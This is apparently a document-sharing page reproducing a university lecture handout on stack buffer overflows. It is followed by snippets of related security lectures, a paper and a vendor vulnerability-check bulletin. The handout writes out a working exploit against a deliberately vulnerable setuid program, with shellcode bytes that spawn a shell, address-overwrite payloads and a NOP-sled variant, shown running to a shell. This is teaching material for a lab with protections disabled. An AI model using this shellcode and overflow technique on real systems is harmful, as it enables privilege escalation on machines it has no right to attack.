Lecture 18: Buffer Overflows 1 a Program to Exploit

Total Page:16

File Type:pdf, Size:1020Kb

Lecture 18: Buffer Overflows 1 a Program to Exploit CS342 Computer Security Handout # 21 Prof. Lyn Turbak April 4, 2016 Wellesley College Lecture 18: Buffer Overflows Sources Jon Erickson, Hacking: The Art of Exploitation, Chapter 0x300. Aleph One, \Smashing the Stack for Fun and Profit” (can be found at http://cs.wellesley.edu/ ~cs342/papers/stack-smashing.pdf). 1 A Program to Exploit We begin with a simple program to exploit: /* Contents of ~cs342/download/overflow/vuln.c */ #include <stdio.h> // Header file that includes the type of printf #include <string.h> // Header file that include the type of strcpy int main (int argn, char** argv) { char buffer[100]; int i; long *addr_ptr; // a "long" is guaranteed to be a four-byte word strcpy(buffer, argv[1]); /* copies chars of argv[1] to buffer w/o bounds checking */ addr_ptr = (long *) buffer; for (i = 0; i < 35; i++) { printf("%02i:%08x:%08x\n", /* %08x displays 8 hex chars */ i, (unsigned int) addr_ptr, (unsigned int) *addr_ptr); addr_ptr++; } } The statement strcpy(buffer, argv[1]); copies the characters in argv[1] to buffer without any sort of bounds checking. So if there are more than 100 characters, it will start overwriting the stack after the end of the space allocated for buffer. The program also displays 35 words of memory starting with buffer = buffer[0]. Of course, a program wouldn't normally do this, but we include it to help us understand the exploit. We compile vuln.c as user lynux and make it setuid to make things interesting: lynux@cs342-ubuntu-1:~/overflow\$ gcc -o vuln -fno-stack-protector -z execstack vuln.c lynux@cs342-ubuntu-1:~/overflow\$ chmod 4755 vuln The gcc compilation flags -fno-stack-protector and -z execstack disable protections that would otherwise guard against the stack buffer overflow attacks we will be launching against vuln. Later, we'll see what these do. We also disable address space layout randomization (ASLR) to make things easier for the attacker. lynux@cs342-ubuntu-1:~/overflow\$ sudo sysctl -w kernel.randomize_va_space=0 kernel.randomize_va_space = 0 With ASLR turned off, the stack addresses in our vuln examples will always be the same every time we run them. This gives our examples a repeatability we did not have in our format string vulnerability experiments. This makes the buffer overflow attacks easier to understand and launch. We'll discuss ASLR more below. 1 Now let's execute vuln as a different user (guest). If we enter up to 100 characters everything works just fine: guest@cs342-ubuntu-1:~\$ ls -al ~lynux/overflow/vuln -rwsr-xr-x 1 lynux lynux 7198 Nov 20 07:38 /home/lynux/overflow/vuln guest@cs342-ubuntu-1:~\$ ~lynux/overflow/vuln aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmm nnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyy 00:bffffb04:61616161 01:bffffb08:62626262 ... 23:bffffb60:78787878 24:bffffb64:79797979 25:bffffb68:bffffb68 26:bffffb6c:0000001a 27:bffffb70:08048490 28:bffffb74:00000000 29:bffffb78:00000000 30:bffffb7c:b7e3f4d3 31:bffffb80:00000002 32:bffffb84:bffffc14 33:bffffb88:bffffc20 34:bffffb8c:b7fdc858 What's in slot 25? Slot 26? Slots 31-33? In fact, things will work just fine even if we go a bit beyond 100 characters. How many characters can we write without causing things to go haywire? (Hint: where is the bottom of the frame for main?) guest@cs342-ubuntu-1:~\$ ~lynux/overflow/vuln aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmm nnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDD 00:bffffae4:61616161 01:bffffae8:62626262 ... 23:bffffb40:78787878 24:bffffb44:79797979 25:bffffb48:bffffb48 26:bffffb4c:0000001a 27:bffffb50:42424242 28:bffffb54:43434343 29:bffffb58:00444444 30:bffffb5c:b7e3f4d3 31:bffffb60:00000002 32:bffffb64:bffffbf4 33:bffffb68:bffffc00 34:bffffb6c:b7fdc858 Why aren't slots 25 and 26 overwritten with the characters zzzz and AAAA, respectively? Note that changing the input string has caused the address of buffer to change from bffffb04 to bffffae4. Presumably this is because the longer string requires more information to be pushed on the stack initially. Adding just a few more characters causes things to go haywire. Why? guest@cs342-ubuntu-1:~\$ ~lynux/overflow/vuln aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmm nnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDD 00:bffffae4:61616161 ... 29:bffffb58:44444444 30:bffffb5c:b7e3f400 31:bffffb60:00000002 32:bffffb64:bffffbf4 33:bffffb68:bffffc00 34:bffffb6c:b7fdc858 2 Illegal instruction guest@cs342-ubuntu-1:~\$ ~lynux/overflow/vuln aaaabbbbccccddddeeeeffffgggghhhhiiiijjjjkkkkllllmmmm nnnnooooppppqqqqrrrrssssttttuuuuvvvvwwwwxxxxyyyyzzzzAAAABBBBCCCCDDDDE 00:bffffae4:61616161 ... 29:bffffb58:44444444 30:bffffb5c:b7e30045 31:bffffb60:00000002 32:bffffb64:bffffbf4 33:bffffb68:bffffc00 34:bffffb6c:b7fdc858 Segmentation fault 2 Perl Review Next, let's review how to use Perl to print strings, including replicated strings and strings with characters specified in hex: guest@cs342-ubuntu-1:~\$ perl -e 'print "ABC"x10;' ABCABCABCABCABCABCABCABCABCABCguest@cs342-ubuntu-1:~\$ guest@cs342-ubuntu-1:~\$ perl -e 'print "ABC"x10 . "DEF"x2 . "\n";' ABCABCABCABCABCABCABCABCABCABCDEFDEF guest@cs342-ubuntu-1:~\$ perl -e 'print "\x61\x62\x63\x64"x4 . "\n";' abcdabcdabcdabcd guest@cs342-ubuntu-1:~\$ perl -e 'print "\x41\x42\x43\x44"x5 . "\n";' ABCDABCDABCDABCDABCD We can use Perl to create a file contain a carefully constructed sequence of bytes known as \shellcode". This byte sequence (which we explain in detail later) is Intel x86 instructions that, when executed, will spawn a shell for user linux. But for now, we treat it as data | just a raw byte sequence: guest@cs342-ubuntu-1:~\$ perl -e 'print "\x31\xc0\xb0\x46\x31\xdb\x66\xbb\x03\x0e\x89\xd9 \xcd\x80\xeb\x15\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\x8d\x4b\x08\x89\xc2\xb0 \x0b\xcd\x80\xe8\xe6\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";' > shellcode guest@cs342-ubuntu-1:~\$ wc shellcode 0 3 49 shellcode In the Linux shell, text between a pair of backquotes (grave accents) is treated as a command that is executed, and the text it produces is substituted for the backquoted expression. guest@cs342-ubuntu-1:~\$ echo "wc" > stuff guest@cs342-ubuntu-1:~\$ echo `cat stuff` wc guest@cs342-ubuntu-1:~\$ echo `cat stuff``cat stuff``cat stuff` wcwcwc guest@cs342-ubuntu-1:~\$ `cat stuff` stuff 1 1 3 stuff 3 guest@cs342-ubuntu-1:~\$ `cat stuff` `cat stuff` wc: wc: No such file or directory guest@cs342-ubuntu-1:~\$ `cat stuff` shellcode 0 3 49 shellcode For example, we can use backquotes to inject shellcode onto the stack by passing it as an argument to vuln: guest@cs342-ubuntu-1:~\$ ~lynux/overflow/vuln `cat shellcode` 00:bffffb34:46b0c031 01:bffffb38:bb66db31 02:bffffb3c:d9890e03 03:bffffb40:15eb80cd 04:bffffb44:88c0315b 05:bffffb48:5b890743 06:bffffb4c:0c438908 07:bffffb50:89084b8d 08:bffffb54:cd0bb0c2 09:bffffb58:ffe6e880 10:bffffb5c:622fffff 11:bffffb60:732f6e69 12:bffffb64:08040068 ... 25:bffffb98:bffffb98 26:bffffb9c:0000001a 27:bffffba0:08048490 28:bffffba4:00000000 29:bffffba8:00000000 30:bffffbac:b7e3f4d3 31:bffffbb0:00000002 32:bffffbb4:bffffc44 33:bffffbb8:bffffc50 34:bffffbbc:b7fdc858 3 Overflow Exploit: Going for the Kill All we have to do now is fill the buffer after the shellcode with enough copies of the shellcode address that we overwrite the return address at location bffffbac with a pointer to the first byte of the injected shellcode at bffffb34: guest@cs342-ubuntu-1:~\$ ~lynux/overflow/vuln `cat shellcode``perl -e 'print "\x34\xfb\xff\xbf"x20;'` 00:bffffae4:46b0c031 01:bffffae8:bb66db31 02:bffffaec:d9890e03 03:bffffaf0:15eb80cd 04:bffffaf4:88c0315b 05:bffffaf8:5b890743 06:bffffafc:0c438908 07:bffffb00:89084b8d 08:bffffb04:cd0bb0c2 09:bffffb08:ffe6e880 10:bffffb0c:622fffff 11:bffffb10:732f6e69 12:bffffb14:fffb3468 13:bffffb18:fffb34bf 14:bffffb1c:fffb34bf ... 30:bffffb5c:fffb34bf 31:bffffb60:fffb34bf 4 32:bffffb64:bfff00bf 33:bffffb68:bffffc00 34:bffffb6c:b7fdc858 Segmentation fault Oops! The shellcode address was not word aligned, and needs to be. We can fix this by adding 3 arbitrary characters after the shellcode to pad its 49 bytes to 52 bytes. Also, we must change the shellcode address, which has moved again (it's now at bffffae4). guest@cs342-ubuntu-1:~\$ ~lynux/overflow/vuln `cat shellcode``perl -e 'print "\x01"x3 . "\xe4\xfa\xff\xbf"x20;'` 00:bffffae4:46b0c031 01:bffffae8:bb66db31 02:bffffaec:d9890e03 03:bffffaf0:15eb80cd 04:bffffaf4:88c0315b 05:bffffaf8:5b890743 06:bffffafc:0c438908 07:bffffb00:89084b8d 08:bffffb04:cd0bb0c2 09:bffffb08:ffe6e880 10:bffffb0c:622fffff 11:bffffb10:732f6e69 12:bffffb14:01010168 13:bffffb18:bffffae4 ... 24:bffffb44:bffffae4 25:bffffb48:bffffb48 26:bffffb4c:0000001a 27:bffffb50:bffffae4 28:bffffb54:bffffae4 29:bffffb58:bffffae4 30:bffffb5c:bffffae4 31:bffffb60:bffffae4 32:bffffb64:bffffae4 33:bffffb68:bffffc00 34:bffffb6c:b7fdc858 $ whoami lynux Qapla'! 5 4 An Overflow Exploit: NOP Sleds In the above exploit, we had to determine the shellcode address exactly, which is generally hard, especially if ASLR is turned on. It's more flexible to put a long sequence of NOP instructions (nx90) before the shellcode, known as a NOP sled. Any address in the NOP sled will end up sliding into the shellcode: guest@cs342-ubuntu-1:~\$ ~lynux/overflow/vuln `perl -e 'print "\x90"x20;'``cat shellcode` `perl -e 'print "\x01"x3 . "\xcc\xfa\xff\xbf"x20;'` 00:bffffac4:90909090 01:bffffac8:90909090 02:bffffacc:90909090 03:bffffad0:90909090 04:bffffad4:90909090 05:bffffad8:46b0c031 06:bffffadc:bb66db31 07:bffffae0:d9890e03 08:bffffae4:15eb80cd 09:bffffae8:88c0315b 10:bffffaec:5b890743 11:bffffaf0:0c438908 12:bffffaf4:89084b8d
Recommended publications
  • Secure Programming II: the Revenge
    Secure Programming II: The Revenge Lecture for 5/11/20 (slides from Prof. Dooley) CS 330 Secure Programming 13 Administrivia • Seminar on Tuesday (5/12, 7pm): Tech Career Tips and Strategies for International Students (Extra credit!) • HW 6 (password cracking) due Thursday night CS 330 Secure Programming Recall: Secure programming problems • Buffer overflow • Resource exhaustion • Incomplete mediation (checking valid data) • Time-of-check to time-of-use errors • Other race conditions • Numeric over/underflow • Trust in general (users and privileges, environment variables, trusting other programs) CS 330 Secure Programming 15 General principles of secure software • Simplicity is a virtue • If code is complex, you don’t know if it’s right (but it probably isn’t) • In a complex system, isolate the security-critical modules. Make them simple • Modules should have a clean, clear, precisely defined interface CS 330 Secure Programming 16 General principles of secure software - 2 • Reliance on global state is bad (usually) • Reliance on global variables is bad (usually) • Use of explicit parameters makes input assumptions explicit • Validate all input data • Don’t trust tHe values of environment variables • Don’t trust library functions tHat copy data CS 330 Secure Programming 17 Buffer Overflows CS 330 Secure Programming Buffer Overflow • 1988: Morris worm exploits buffer overflows in fingerd to infect 6,000 Unix servers • 2001: Code Red exploits buffer overflows in IIS to infect 250,000 servers – Single largest cause of vulnerabilities in CERT advisories – Buffer overflow threatens Internet- WSJ(1/30/01) • CERT advisory dated 12 April 2005 notes several vulnerabilities in MS Windows, including three buffer overflows in Explorer, MSN Messenger, and MS Exchange Server.
    [Show full text]
  • INNOV-04 the SANS Top 20 Internet Security Vulnerabilities (And What It Means to Openedge™ Applications)
    INNOV-04 The SANS Top 20 Internet Security Vulnerabilities (and what it means to OpenEdge™ Applications) Michael Solomon, CISSP PMP CISM Solomon Consulting Inc. www.solomonconsulting.com (Thanks to John Bruggeman for presentation input) What is the SANS Top 20 SANS and FBI / NIPC created list in 2000 10 Windows vulnerabilities 10 Unix vulnerabilities – 90% of all computer security breaches are caused by known vulnerabilities (Gartner Group 2002) Tools to detect and repair the Top 20 – Many referenced tools help detect and repair many more than the Top 20 Vulnerabilities INNOV-04, SANS Top 20 Security Vulnerabilities 2 How do these vulnerabilities affect OpenEdge applications? OpenEdge is not specifically mentioned – Many vulnerabilities on the list still apply to OpenEdge application systems – Interpret each vulnerability in terms of your system Any system vulnerability affects your OpenEdge application INNOV-04, SANS Top 20 Security Vulnerabilities 3 Windows Top 10 – www.sans.org/top20/#w1 1. Web Servers and Services 2. Workstation Service 3. Windows Remote Access Services (not RAS) 4. Microsoft SQL Server 5. Windows Authentication 6. Web Browsers 7. File-Sharing Applications 8. LSAS Exposures 9. Mail Client 10. Instant Messaging INNOV-04, SANS Top 20 Security Vulnerabilities 4 W1: Web Servers and Services Risks of default installations – Denial of service (DoS) – Compromise server and data – Execution of arbitrary commands All web servers are affected, including – Internet Information Server (IIS) • Even though IIS 6.0 is ‘secure
    [Show full text]
  • Chapter 11 – Buffer Overflow
    Computer Security: Principles and Practice ChapterChapter 1111 –– BufferBuffer OverflowOverflow First Edition by William Stallings and Lawrie Brown Lecture slides by Lawrie Brown Buffer Overflow • a very common attack mechanism – from 1988 Morris Worm to Code Red, Slammer, Sasser and many others • prevention techniques known • still of major concern due to – legacy of widely deployed buggy – continued careless programming techniques 2 Buffer Overflow Basics • caused by programming error • allows more data to be stored than capacity available in a fixed sized buffer – buffer can be on stack, heap, global data • overwriting adjacent memory locations – corruption of program data – unexpected transfer of control – memory access violation – execution of code chosen by attacker 3 int main( int argc, char * argv[]) { int valid = FALSE; Buffer char str1[8]; char str2[8]; Overflow next_tag(str1); gets(str2); Example if (strncmp(str1, str2, 8) == 0) valid = TRUE; printf("buffer1: str1(%s), str2(%s), valid(%d)\n", st r1, str2, valid); } $ cc -g -o buffer1 buffer1.c $ ./buffer1 START buffer1: str1(START), str2(START), valid(1) $ ./buffer1 EVILINPUTVALUE buffer1: str1(TVALUE), str2(EVILINPUTVALUE), valid(0) $ ./buffer1 BADINPUTBADINPUT buffer1: str1(BADINPUT), str2(BADINPUTBADINPUT), valid(1) 4 Buffer Memory Before After Contains Address gets(str2) gets(str2) Value of Overflow . Example bffffbf4 34fcffbf 34fcffbf argv 4 . 3 . bffffbf0 01000000 01000000 argc . bffffbec c6bd0340 c6bd0340 return . @ . @ addr bffffbe8 08fcffbf 08fcffbf old base . ptr bffffbe4 00000000 01000000 valid . bffffbe0 80640140 00640140 . d . @ . d . @ bffffbdc 54001540 4e505554 str1[4-7] T . @ N P U T bffffbd8 53544152 42414449 str1[0-3] S T A R B A D I bffffbd4 00850408 4e505554 str2[4-7] .
    [Show full text]
  • Computer Security 03
    Computer Security 03. Program Hijacking & Code Injection Paul Krzyzanowski Rutgers University Spring 2019 September 25, 2019 CS 419 © 2019 Paul Krzyzanowski 1 Top vulnerability concerns for 2019 MITRE, a non-profit organization that manages federally-funded research & development centers, publishes a list of top security weaknesses Rank Name Score 1 Improper Restriction of Operations within the Bounds of a Memory Buffer 75.56 2 Cross-site Scripting 45.69 3 Improper Input Validation 43.61 4 Information Exposure 32.12 5 Out-of-bounds Read 26.53 6 SQL Injection 24.54 7 Use After Free 17.94 8 Integer Overflow or Wraparound 17.35 9 Cross-Site Request Forgery (CSRF) 15.54 10 14.10 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') https://cwe.mitre.org/top25/archive/2019/2019_cwe_top25.html September 25, 2019 CS 419 © 2019 Paul Krzyzanowski 2 Hijacking Getting software to do something different from what the user or developer expected Examples: • Redirect web browser to a malicious site • Change DNS (IP address lookup) results • Change search engine • Change search paths to load different libraries or have different programs run • Intercept & alter messages Code injection Getting a program to process data in a way that it changes the execution of a program September 25, 2019 CS 419 © 2019 Paul Krzyzanowski 3 Bugs and mistakes • Most attacks are due to – Social engineering: getting a legitimate user to do something – Or bugs: using a program in a way it was not intended • Attacked system may be further weakened because
    [Show full text]
  • Stack Buffer Overflow
    1 Stack Buffer Overflow Chengyu Song Slides modified from Dawn Song 2 Infection vectors of malware • Human assistant, unknowingly • Exploiting vulnerabilities • We see the term "buffer overflow" several time, but • What is buffer overflow? • Why it would allow attackers/malware to get into the system? 3 Software security • Surround a central topic vulnerabilities • What is a vulnerability? • What types of vulnerabilities are there? • How do we find vulnerabilities? • How do we fix vulnerabilities? • How do we exploit vulnerabilities? • How do we prevent exploits? 4 Software vulnerability A vulnerability is a weakness in a software that could allow an attacker to compromise the information assurance of the system. -- Wikipedia “• Weakness: bugs, configure errors, etc. • Information assurance: confidentiality, integrity, availability, etc. 5 Exploit An exploit is a piece of input that takes advantage of a vulnerability in order to cause unintended behavior -- Wikipedia “• Input: file, data, program, etc. • Unintended behavior: arbitrary code execution, privilege escalation, denial- of-service (DoS), information leak, etc. 6 Putting things together --OWASP 7 Popular types of vulnerabilities • Memory corruption • Buffer overflow, use-after-free, uninitialized data access, etc. • Improper input sanitation (a.k.a. injection attacks) • SQL injection, command injection, cross-site script (XSS), etc. • Insufficient Authentication/authorization • Missing checks, hardcoded credential, backdoor, etc. • Incorrect use of crypto primitives • Weak primitives (encryption,
    [Show full text]
  • Stack Based Buffer Overflows and Protection Mechanisms.Pdf
    Buffer Overflows. Protection Mechanisms. Stack Based Buffer Overflows and Protection Mechanisms. Software Security January 2008 Igor Yuklyanyuk 1 Outline ■ Buffer Overflow Introduction ■ What is a buffer overflow? ■ What is a ShellCode? ■ Exploitation ■ ASLR – Address Space Layout Randomization ■ Non-Executable Stack ■ Canaries 2 Part One What Is a Buffer Overflow ??? 3 What is a Buffer Overflow ■ A class of vulnerability caused by a bug in application ■ Most bugs in the 90's and early 00's were buffer overflows ■ May be exploited by attacker to gain control of the system 4 What is a Buffer Overflow ■ Buffer Overflow is a program condition where data is written past allocated buffer (e.g. a string buffer) ■ Data copied past allocated buffer affects other bits of the program ■ Buffer Overflow may occur on stack or heap portion of memory ■ We are only concern with stack overflows ■ Not All Overflows are exploitable 5 What is a Buffer Overflow ■ Stack is a LIFO Data Structure ■ New stack frame is Created every function Call (runtime) ■ Execution is continued at Return Address after function completion ■ On x86 Stack grows upwards while Memory Addressing grows Downwards 6 What is a Buffer Overflow 7 What is a Buffer Overflow 8 What is a Buffer Overflow 9 What is a ShellCode ■ Instead of breaking the program attacker wants to take control ■ ShellCode is the code that is executed upon successful attack ■ Performs specific tasks, such as shell execution (hence ShellCode), connect to attacker controlled host, log deletion etc. ■ Restricted in
    [Show full text]
  • Counter-Measures Against Stack Buffer Overflows in GNU/Linux Operating Systems
    Available online at www.sciencedirect.com ScienceDirect Procedia Computer Science 83 ( 2016 ) 1301 – 1306 The International Workshop on Parallel Tasks on High Performance Computing (THPC-2016) Counter-measures against stack buffer overflows in GNU/Linux operating systems. Erick Leona, Stefan D. Brudaa* aBishop's University, 2600 College St., Sherbrooke QC, J1M 1Z7, Canada Abstract We address the particular cyber attack technique known as stack buffer overflow in GNU/Linux operating systems, which are widely used in HPC environments. The buffer overflow problem has been around for quite some time and continues to be an ever present issue. We develop a mechanism to successfully detect and react whenever a stack buffer overflow occurs. Our solution requires no compile-time support and so can be applied to any program, including legacy or closed source software for which the source code is not available. This makes it especially useful in HPC environments where given their complexity and scope of the computing system, incidents like overflows might be difficult to detect and react to accordingly. ©© 20162016 The The Authors. Authors. Published Published by byElsevier Elsevier B.V. B.V. This is an open access article under the CC BY-NC-ND license (Peehttp://creativecommons.org/licenses/by-nc-nd/4.0/r-review under responsibility of the Conference). Program Chairs. Peer-review under responsibility of the Conference Program Chairs Keywords: Buffer overflow; Stack; GNU/Linux; ptrace. 1. Introduction Most HPC systems run some variant of the GNU/Linux operating system, such as the CLUMEQ in Quebec, which uses CentOS 6.3. Tackling security issues in GNU/Linux is therefore a priority for HPC applications.
    [Show full text]
  • SYSTEMATIC METHODS for MEMORY ERROR DETECTION and EXPLOITATION HU HONG (B.Eng., Huazhong University of Science and Technology) A
    SYSTEMATIC METHODS FOR MEMORY ERROR DETECTION AND EXPLOITATION HU HONG (B.Eng., Huazhong University of Science and Technology) A THESIS SUBMITTED FOR THE DEGREE OF DOCTOR OF PHILOSOPHY DEPARTMENT OF COMPUTER SCIENCE NATIONAL UNIVERSITY OF SINGAPORE 2016 DECLARATION I hereby declare that this thesis is my original work and it has been written by me in its entirety. I have duly acknowledged all the sources of information which have been used in the thesis. This thesis has also not been submitted for any degree in any university previously. HU HONG 13 January 2016 ACKNOWLEDGEMENTS I am grateful to have my PhD study in National University of Singapore. During this long journey, many people provided their generous supports and suggestions. Without them, I will not harvest so much, including this thesis. First, I thank my advisor, Prof. Zhenkai Liang, who leads me to the exciting topic of binary analysis and guides me to be a security researcher with his insight and experi- ence. Along the challenging journey, he always advised me to think questions at a high level and dive to deep technical details, with great patience and perseverance. Thanks to Prof. Prateek Saxena for insightful comments on several papers that constitute this thesis. I learned a lot from the discussion and collaboration with him. Thanks to several professors who gave me valuable feedback to my thesis: Prof. Abhik Roychoudhury, Prof. Roland Yap and Prof. Heng Yin. They have expanded my research view and help me find the shortcomings of my work. I am indebted to all of my collaborators for their hard working and strong support.
    [Show full text]
  • Defense Against Buffer Overflow Attack by Software Design Diversity" (2007)
    UNLV Retrospective Theses & Dissertations 1-1-2007 Defense against buffer overflow attack yb software design diversity Kunal Metkar University of Nevada, Las Vegas Follow this and additional works at: https://digitalscholarship.unlv.edu/rtds Repository Citation Metkar, Kunal, "Defense against buffer overflow attack by software design diversity" (2007). UNLV Retrospective Theses & Dissertations. 2249. http://dx.doi.org/10.25669/ut94-6zdw This Thesis is protected by copyright and/or related rights. It has been brought to you by Digital Scholarship@UNLV with permission from the rights-holder(s). You are free to use this Thesis in any way that is permitted by the copyright and related rights legislation that applies to your use. For other uses you need to obtain permission from the rights-holder(s) directly, unless additional rights are indicated by a Creative Commons license in the record and/ or on the work itself. This Thesis has been accepted for inclusion in UNLV Retrospective Theses & Dissertations by an authorized administrator of Digital Scholarship@UNLV. For more information, please contact [email protected]. DEFENSE AGAINST BUFFER OVERFLOW ATTACK BY SOFTWARE DESIGN DIVERSITY by Kunal Metkar Bachelor of Computer Engineering Pune University, India 2004 A thesis submitted in partial fulfillment of the requirements for the Master of Science Degree in Computer Science School of Computer Science Howard R. Hughes College of Engineering Graduate College University of Nevada, Las Vegas December 2007 Reproduced with permission of the copyright owner. Further reproduction prohibited without permission. UMI Number: 1452261 INFORMATION TO USERS The quality of this reproduction is dependent upon the quality of the copy submitted.
    [Show full text]
  • Dynaguard: Armoring Canary-Based Protections Against Brute-Force Attacks
    DynaGuard: Armoring Canary-based Protections against Brute-force Attacks Theofilos Petsios Vasileios P. Kemerlis Michalis Polychronakis Columbia University Brown University Stony Brook University theofi[email protected] [email protected] [email protected] Angelos D. Keromytis Columbia University [email protected] ABSTRACT 1. INTRODUCTION Over the past decade many exploit mitigation techniques Among the many different types of memory corruption have been introduced to defend against memory corruption vulnerabilities actively exploited throughout the past two attacks. W^X, ASLR, and canary-based protections are decades, stack buffer overflows remain the most frequently nowadays widely deployed and considered standard prac- encountered [45], and various protection mechanisms have tice. However, despite the fact that these techniques have been proposed to prevent adversaries from abusing them. evolved over time, they still suffer from limitations that en- Widely deployed defenses include W^X [31, 36] and non- able skilled adversaries to bypass them. executable memory [20,30], Address Space Layout Random- In this work, we focus on countermeasures against the ization (ASLR) [18,35], and stack canaries [10,13,28]. How- byte-by-byte discovery of stack canaries in forking programs. ever, none of these protections has fully eliminated stack This limitation, although known for years, has yet to be ad- smashing attacks. dressed effectively, and was recently abused by a series of In fact, although stack buffer overflows are no longer triv- exploits that allowed for the remote compromise of the pop- ially exploitable, they are still present in popular appli- ular Nginx web server and a full ASLR bypass in x86-64 cations, and are often used as a stepping stone in mod- Linux.
    [Show full text]
  • Secure Coding in C and C++ Second Edition the SEI Series in Software Engineering Software Engineering Institute of Carnegie Mellon University and Addison-Wesley
    Secure Coding in C and C++ Second Edition The SEI Series in Software Engineering Software Engineering Institute of Carnegie Mellon University and Addison-Wesley Visit informit.com/sei for a complete list of available publications. he SEI Series in Software Engineering is a collaborative undertaking of the TCarnegie Mellon Software Engineering Institute (SEI) and Addison-Wesley to develop and publish books on software engineering and related topics. The common goal of the SEI and Addison-Wesley is to provide the most current information on these topics in a form that is easily usable by practitioners and students. Titles in the series describe frameworks, tools, methods, and technologies designed to help organizations, teams, and individuals improve their technical or management capa- bilities. Some books describe processes and practices for developing higher-quality soft- ware, acquiring programs for complex systems, or delivering services more effectively. Other books focus on software and system architecture and product-line development. Still others, from the SEI’s CERT Program, describe technologies and practices needed to manage software and network security risk. These and all titles in the series address critical problems in software engineering for which practical solutions are available. Make sure to connect with us! informit.com/socialconnect Secure Coding in C and C++ Second Edition Robert C. Seacord Upper Saddle River, NJ • Boston • Indianapolis • San Francisco New York • Toronto • Montreal • London • Munich • Paris • Madrid Capetown • Sydney • Tokyo • Singapore • Mexico City The SEI Series in Software Engineering Many of the designations used by manufacturers and sellers to distinguish their products are claimed as trade- marks.
    [Show full text]
  • Mcafee Foundstone Fsl Update
    2016-MAY-26 FSL version 7.5.824 MCAFEE FOUNDSTONE FSL UPDATE To better protect your environment McAfee has created this FSL check update for the Foundstone Product Suite. The following is a detailed summary of the new and updated checks included with this release. NEW CHECKS 20088 - Solarwinds Storage Resource Monitor Multiple SQL Injection Vulnerabilities Prior to 6.2.3 Category: Windows Host Assessment -> Miscellaneous (CATEGORY REQUIRES CREDENTIALS) Risk Level: High CVE: CVE-2016-4350 Description Multiple SQL Injection vulnerabilities are present in some versions of Solarwinds Storage Resource Monitor. Observation Solarwinds Storage Resource Monitor is a storage manager software. Multiple SQL Injection vulnerabilities are present in some versions of Solarwinds Storage Resource Monitor. The flaws lie in several components. Successful exploitation could allow a malicious user to compromise the integrity, confidentiality and availability of the system. Exploitation of this vulnerability doesn't require authentication. 20090 - (HPSBGN03580) HP Data Protector Multiple Vulnerabilities Category: Windows Host Assessment -> Miscellaneous (CATEGORY REQUIRES CREDENTIALS) Risk Level: High CVE: CVE-2015-2808, CVE-2016-2004, CVE-2016-2005, CVE-2016-2006, CVE-2016-2007, CVE-2016-2008 Description Multiple vulnerabilities are present in some versions of HP Data Protector. Observation HP Data Protector automates high performance backups and recovery. Multiple vulnerabilities are present in some versions of HP Data Protector. These flaws occur due to indeterminate issues. Successful exploitation could allow an attacker to execute arbitrary code or disclose sensitive information. 20091 - (HPSBGN03580) HP Data Protector Multiple Vulnerabilities Category: General Vulnerability Assessment -> NonIntrusive -> Miscellaneous Risk Level: High CVE: CVE-2015-2808, CVE-2016-2004, CVE-2016-2005, CVE-2016-2006, CVE-2016-2007, CVE-2016-2008 Description Multiple vulnerabilities are present in some versions of HP Data Protector.
    [Show full text]